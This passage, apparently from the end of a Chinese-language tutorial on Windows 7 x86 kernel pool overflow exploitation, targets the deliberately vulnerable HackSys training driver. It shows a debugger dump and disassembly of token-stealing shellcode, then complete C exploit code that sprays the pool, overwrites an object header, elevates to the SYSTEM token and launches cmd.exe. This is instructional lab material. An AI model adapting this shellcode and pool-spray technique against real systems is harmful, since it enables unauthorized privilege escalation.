00000030  00000000 00000000 00000000 00000000

00000040  00000000 00000000 00000000 00000000

00000050  00000000 00000000 00000000 00000000

00000060  000d0000 00000000 00000000 00000000

00000070  00000000 00000000 00000000 00000000

 

0地址的0x60偏移处,是我们的shellcode地址。

kd> uf 000d0000

000d0000 90              nop

000d0001 90              nop

000d0002 90              nop

000d0003 90              nop

000d0004 60              pushad

000d0005 64a124010000    mov     eax,dword ptr fs:[00000124h]

000d000b 8b4050          mov     eax,dword ptr [eax+50h]

000d000e 89c1            mov     ecx,eax

000d0010 8b98f8000000    mov     ebx,dword ptr [eax+0F8h]

000d0016 ba04000000      mov     edx,4

000d001b 8b80b8000000    mov     eax,dword ptr [eax+0B8h]

000d0021 2db8000000      sub     eax,0B8h

000d0026 3990b4000000    cmp     dword ptr [eax+0B4h],edx

000d002c 75ed            jne     000d001b  Branch

000d002e 8b90f8000000    mov     edx,dword ptr [eax+0F8h]

000d0034 8991f8000000    mov     dword ptr [ecx+0F8h],edx

000d003a 61              popad

000d003b c21000          ret     10h

 

Shellcode的目的就是把当前进程的token值替换为system的token,

后面这个ret     10h, ret后面的值要根据实际情况稍作判断。

贴张运行成功的截图

 

总结

本文并没有涉及太多内核池的结构,管理相关信息,如果想做更深入的研究,这些是必不可少的知识,务必相当熟悉。还有学习时,不要只看,认为自己看懂了就行了,一定要多调试、跟踪。

 

参考

Window内核利用教程4池风水 -> 池溢出

https://bbs.pediy.com/thread-223719.htm

Windows exploit开发系列教程第十六部分:内核利用程序之池溢出

https://bbs.pediy.com/thread-225182.htm

Windows kernel pool 初探

https://www.cnblogs.com/flycat-2016/p/5449738.html

 

附:利用代码:

#include <stdio.h>

#include <Windows.h>



#define STATUS_SUCCESS ((NTSTATUS)0x00000000L)

#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)





// Windows 7 SP1 x86 Offsets

#define KTHREAD_OFFSET     0x124  // nt!_KPCR.PcrbData.CurrentThread

#define EPROCESS_OFFSET    0x050  // nt!_KTHREAD.ApcState.Process

#define PID_OFFSET         0x0B4  // nt!_EPROCESS.UniqueProcessId

#define FLINK_OFFSET       0x0B8  // nt!_EPROCESS.ActiveProcessLinks.Flink

#define TOKEN_OFFSET       0x0F8  // nt!_EPROCESS.Token

#define SYSTEM_PID         0x004  // SYSTEM Process PID



#define DEVICE_NAME "\\\\.\\HackSysExtremeVulnerableDriver"



#define HACKSYS_EVD_IOCTL_POOL_OVERFLOW                   CTL_CODE(FILE_DEVICE_UNKNOWN, 0x803, METHOD_NEITHER, FILE_ANY_ACCESS)







typedef NTSTATUS(WINAPI *NtAllocateVirtualMemory_t)(IN HANDLE     ProcessHandle,

    IN OUT PVOID  *BaseAddress,

    IN ULONG      ZeroBits,

    IN OUT PULONG AllocationSize,

    IN ULONG      AllocationType,

    IN ULONG      Protect);





NtAllocateVirtualMemory_t     NtAllocateVirtualMemory;







BOOL MapNullPage() {



    HMODULE hNtdll;

    SIZE_T RegionSize = 0x1000;            // will be rounded up to the next host

                                           // page size address boundary -> 0x2000



    PVOID BaseAddress = (PVOID)0x00000001; // will be rounded down to the next host

                                           // page size address boundary -> 0x00000000

    NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;



    hNtdll = GetModuleHandle("ntdll.dll");



    // Grab the address of NtAllocateVirtualMemory

    NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");



    if (!NtAllocateVirtualMemory) {

        printf("\t\t[-] Failed Resolving NtAllocateVirtualMemory: 0x%X\n", GetLastError());

        exit(EXIT_FAILURE);

    }



    // Allocate the Virtual memory

    NtStatus = NtAllocateVirtualMemory((HANDLE)0xFFFFFFFF,

        &BaseAddress,

        0,

        &RegionSize,

        MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,

        PAGE_EXECUTE_READWRITE);



    if (NtStatus != STATUS_SUCCESS) {

        printf("\t\t\t\t[-] Virtual Memory Allocation Failed: 0x%x\n", NtStatus);

        exit(EXIT_FAILURE);

    }

    else {

        printf("\t\t\t[+] Memory Allocated: 0x%p\n", BaseAddress);

        printf("\t\t\t[+] Allocation Size: 0x%X\n", RegionSize);

    }



    FreeLibrary(hNtdll);



    return TRUE;

}



char shellcode[] =

"\x90\x90\x90\x90"              //# NOP Sled

"\x60"                          //# pushad

"\x64\xA1\x24\x01\x00\x00"      //# mov eax, fs:[KTHREAD_OFFSET]

"\x8B\x40\x50"                  //# mov eax, [eax + EPROCESS_OFFSET]

"\x89\xC1"                      //# mov ecx, eax(Current _EPROCESS structure)

"\x8B\x98\xF8\x00\x00\x00"      //# mov ebx, [eax + TOKEN_OFFSET]

"\xBA\x04\x00\x00\x00"          //# mov edx, 4 (SYSTEM PID)

"\x8B\x80\xB8\x00\x00\x00"      //# mov eax, [eax + FLINK_OFFSET]

"\x2D\xB8\x00\x00\x00"          //# sub eax, FLINK_OFFSET

"\x39\x90\xB4\x00\x00\x00"      //# cmp[eax + PID_OFFSET], edx

"\x75\xED"                      //# jnz

"\x8B\x90\xF8\x00\x00\x00"      //# mov edx, [eax + TOKEN_OFFSET]

"\x89\x91\xF8\x00\x00\x00"      //# mov[ecx + TOKEN_OFFSET], edx

"\x61"                          //# popad

"\xC2\x10\x00";                 //# ret 16



void xxCreateCmdLineProcess()

{

    STARTUPINFO si;

    PROCESS_INFORMATION pi;

    memset(&si, 0, sizeof(si));

    memset(&pi, 0, sizeof(pi));



    si.cb = sizeof(si);

    si.dwFlags = STARTF_USESHOWWINDOW;

    si.wShowWindow = SW_SHOW;

    char szCommandLine[50] = "cmd.exe";

    // 创建cmd子进程;

    BOOL bReturn = CreateProcess(NULL,

        szCommandLine,

        NULL,

        NULL,

        FALSE,

        CREATE_NEW_CONSOLE,

        NULL,

        NULL,

        &si,

        &pi);



    if (bReturn)

    {

        //不使用的句柄最好关掉;

        printf("process id: %d\n", pi.dwProcessId);

        printf("thread id: %d\n", pi.dwThreadId);

        //WaitForSingleObject(pi.hProcess, INFINITE);

        //CloseHandle(pi.hThread);

        //CloseHandle(pi.hProcess);

    }

    else

    {

        //如果创建进程失败,查看错误码;

        DWORD dwErrCode = GetLastError();

        printf("ErrCode : %d\n", dwErrCode);

    }

}



HANDLE GetDeviceHandle(LPCSTR FileName) {

    HANDLE hFile = NULL;



    hFile = CreateFile(FileName,

        GENERIC_READ | GENERIC_WRITE,

        FILE_SHARE_READ | FILE_SHARE_WRITE,

        NULL,

        OPEN_EXISTING,

        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,

        NULL);



    return hFile;

}



DWORD WINAPI PoolOverflowThread(LPVOID Parameter) {

    ULONG BytesReturned;

    HANDLE hFile = NULL;

    PVOID Memory = NULL;

    LPCSTR FileName = (LPCSTR)DEVICE_NAME;



    // Get the device handle

    printf("\t[+] Getting Device Driver Handle\n");

    printf("\t\t[+] Device Name: %s\n", FileName);



    hFile = GetDeviceHandle(FileName);



    if (hFile == INVALID_HANDLE_VALUE) {

        printf("\t\t[-] Failed Getting Device Handle: 0x%X\n", GetLastError());

        exit(EXIT_FAILURE);

    }

    else {

        printf("\t\t[+] Device Handle: 0x%X\n", hFile);

    }



    printf("\t[+] Triggering Pool Overflow\n");



    OutputDebugString("****************Kernel Mode****************\n");





    if (!MapNullPage()) {

        printf("\t\t[-] Failed Mapping Null Page: 0x%X\n", GetLastError());

        exit(EXIT_FAILURE);

    }



    // Set the DeleteProcedure to the address of our payload

    int shellcode_len = sizeof(shellcode);

    char *pShellcodeBuf = (char*)VirtualAlloc(NULL, shellcode_len, MEM_RESERVE| MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    RtlMoveMemory(pShellcodeBuf, shellcode, shellcode_len);





    printf("ShellCode = %x\n", pShellcodeBuf);

    *(PULONG)0x00000060 = (ULONG)pShellcodeBuf;



    //heap spray

    HANDLE spray_event1[10000] = { NULL };

    HANDLE spray_event2[5000] = { NULL };



    for (int i = 0; i < 10000; i++)

    {

        spray_event1[i] = CreateEventA(NULL, FALSE, FALSE, NULL);

    }



    for (int j = 0; j < 5000; j++)

    {

        spray_event2[j] = CreateEventA(NULL, FALSE, FALSE, NULL);

    }

   

    for (int i = 5000-1; i >= 4989; i--)

    {

        printf("%x\n", spray_event2[i]);

    }



    //制造堆喷区空洞, 目的使我们的数据分配到空洞上;

    for (int i = 0; i < 5000; i = i + 16)

    {

        for (int j = 0; j < 8; j++)

        {

            //一个event对象大小0x40,  0x200的空间需要8个event对象;

            CloseHandle(spray_event2[i + j]);

        }

    }



    //构造数据,覆盖_OBJECT_HEADER偏移+0x00c的值覆盖为0,

    char junk_buffer[504] = { 0x41 };

    memset(junk_buffer, 0x41, 504);

    char overwritedata[41] =

        "\x40\x00\x08\x04"

        "\x45\x76\x65\xee"

        "\x00\x00\x00\x00"

        "\x40\x00\x00\x00"

        "\x00\x00\x00\x00"

        "\x00\x00\x00\x00"

        "\x01\x00\x00\x00"

        "\x01\x00\x00\x00"

        "\x00\x00\x00\x00"

        "\x00\x00\x08\x00";



    char UserModeBuffer[504 + 40 + 1] = {0};

    int UserModeBufferSize = 504 + 40;

    memcpy(UserModeBuffer, junk_buffer, 504);

    memcpy(UserModeBuffer + 504, overwritedata, 40);



    DeviceIoControl(hFile,

        HACKSYS_EVD_IOCTL_POOL_OVERFLOW,

        (LPVOID)UserModeBuffer,

        (DWORD)UserModeBufferSize,

        NULL,

        0,

        &BytesReturned,

        NULL);



    OutputDebugString("****************Kernel Mode****************\n");



    printf("\t\t[+] Triggering Payload\n");



    printf("\t\t\t[+] Freeing Event Objects\n");



    //这个spray_event1释放循环目前来看,好像不是必须的;

    for (int i = 0; i < 10000; i++)

    {

        CloseHandle(spray_event1[i]);

    }



    //这里i不能从0开始,因为i从0开始的chunk都是我们已经释放的;

    //我们的数据在其中的连续8个chunk上,而被覆盖chunk在释放的chunk后面;

    //所以这里i从8开始;

    for (int i = 8; i < 5000; i = i + 16)

    {

        for (int j = 0; j < 8; j++)

        {

            CloseHandle(spray_event2[i + j]);

        }

    }



    //这里i从0开始,并不能出现想要的结果,反而会造成蓝屏;

    //for (int i = 0; i < 5000; i = i + 16)

    //{

    //  for (int j = 0; j < 8; j++)

    //  {

    //      CloseHandle(spray_event2[i + j]);

    //  }

    //}



    //这样循环也是有可能成功的,当然也可能出现异常情况,比如说,这里面有之前被释放过的chunk,如果被别的程序使用了(重新申请);

    //我们这里强制释放其他程序的chunk,可能造成不可预估的后果;

    //for (int i = 0; i < 5000; i++)

    //{

    //  if (!CloseHandle(spray_event2[i]))

    //  {

    //      printf("\t\t[-] Failed To Close Event Objects Handle: 0x%X\n", GetLastError());

    //  }

    //}

    return EXIT_SUCCESS;

}





int main(int argc, char *argv[])

{

    //printf("hello world\n");

    PoolOverflowThread(NULL);

    printf("start to cmd...\n");

    xxCreateCmdLineProcess();

    return 1;

}
(完)